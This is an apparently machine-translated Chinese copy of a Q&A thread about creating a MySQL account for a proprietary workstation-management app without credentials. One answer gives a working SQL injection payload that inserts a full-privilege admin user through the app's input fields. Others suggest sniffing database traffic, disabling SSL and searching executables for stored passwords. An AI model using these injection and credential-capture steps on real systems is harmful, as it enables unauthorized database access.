将用户帐户注入mySQL

时间:2020-03-06 14:27:51  来源:igfitidea点击:

在这里解决一个奇怪的情况。

我们使用专有的工作站管理应用程序,该应用程序使用mySQL存储其数据。他们在应用程序中提供大量报告,例如哪个用户什么时候登录到哪台计算机,被监视的计算机上安装的所有软件产品等等。我们正在寻找一组不同的报告,但是,它们不支持自定义报告。

由于它们的数据存储在mySQL中,因此我可以手动进行报告。我没有有效的凭据才能连接到mySQL服务器。无论如何,我可以在mySQL服务器中创建用户帐户吗?我不想重置root密码或者其中的任何帐户,因为它可能会破坏应用程序。

我对Windows 2003服务器具有完全访问权限。我可以停止并重新启动服务,包括mySQL服务器。对于实际的mySQL服务器,我只能通过软件提供的GUI进行基本访问。我无法通过CLI或者其他工具直接连接到它(由于缺少凭据)。

如果它脱落了,我很抱歉,好像我试图未经授权地访问mySQL服务器。我已经联系了软件公司,到今天为止已经有两个星期没有得到他们的答复了。我需要获取数据。我拥有对物理设备的完全访问权限,对此我拥有管理员权限。

解决方案

我们可以访问有问题的MySQL服务器吗?

在这种情况下,除了普通用户之外,我们还具有什么访问权限?我们应该先尝试这些路线,然后再"破解"该路线,因为使用该软件可能可行或者不可行。

我认为我真的不应该回答这个问题,但是这太有趣了。

查看有关SQL注入的本页。那应该满足需求。
此页面显示如何将用户帐户添加到mySQL

我会尝试在随机用户输入字段中输入以下内容:

p'; INSERT INTO user VALUES

('localhost','myNewAdmin',PASSWORD('some_pass'),
'Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y ','Y');

接着

p'; FLUSH PRIVILEGES;

p';旨在解决常规问题。例如
正常的问题是:

"Select Adress from cusomers where custName = ' + $INPUT + ';

变成

Select Adress from cusomers where custName = 'p'; INSERT INTO user 
VALUES('localhost','myNewAdmin',PASSWORD('some_pass'), 
'Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y');

想到的一件事是嗅探数据库通信,并希望它不被加密。如果已加密,请尝试更改配置以不使用SSL,然后重新启动mysql。我使用的一个很好的嗅探器是Wireshark

从mysql 5.0文档中:

MySQL supports secure (encrypted)
  connections between MySQL clients and
  the server using the Secure Sockets
  Layer (SSL) protocol. This section
  discusses how to use SSL connections.
  It also describes a way to set up SSH
  on Windows. For information on how to
  require users to use SSL connections,
  see the discussion of the REQUIRE
  clause of the GRANT statement in
  Section 12.5.1.3, “GRANT Syntax”.
  
  The standard configuration of MySQL is
  intended to be as fast as possible, so
  encrypted connections are not used by
  default. Doing so would make the
  client/server protocol much slower.
  Encrypting data is a CPU-intensive
  operation that requires the computer
  to do additional work and can delay
  other MySQL tasks. For applications
  that require the security provided by
  encrypted connections, the extra
  computation is warranted.
  
  MySQL allows encryption to be enabled
  on a per-connection basis. You can
  choose a normal unencrypted connection
  or a secure encrypted SSL connection
  according the requirements of
  individual applications.
  
  Secure connections are based on the
  OpenSSL API and are available through
  the MySQL C API. Replication uses the
  C API, so secure connections can be
  used between master and slave servers.

我们可能已经做到了,但仍尝试在应用程序配置文件中进行搜索。如果没有任何尝试,请尝试搜索可执行文件/源代码,如果幸运的话,它可能是纯文本格式。

很有可能在数据库方面有触发器保持日志,因此当我们将自己入侵数据库时,他们将知道我们何时以及如何做到的。这不是一个好主意。

我们将要使用MySQL密码恢复过程。请按照以下说明进行操作,但将密码重置查询替换为添加新用户的查询除外。新的用户查询将类似于:

GRANT ALL ON *.* TO 'myuser'@'localhost' IDENTIFIED BY 'mypassword' WITH GRANT OPTION;

这将创建一个新用户" myuser",其密码为" mypassword",该用户可以通过本地系统的CLI登录到MySQL。然后,我们可以使用MySQL Administrator GUI(在此处下载)并更新用户权限,以便可以从网络上的其他系统登录。或者使用CLI的GRANT语句(如果风格更多)。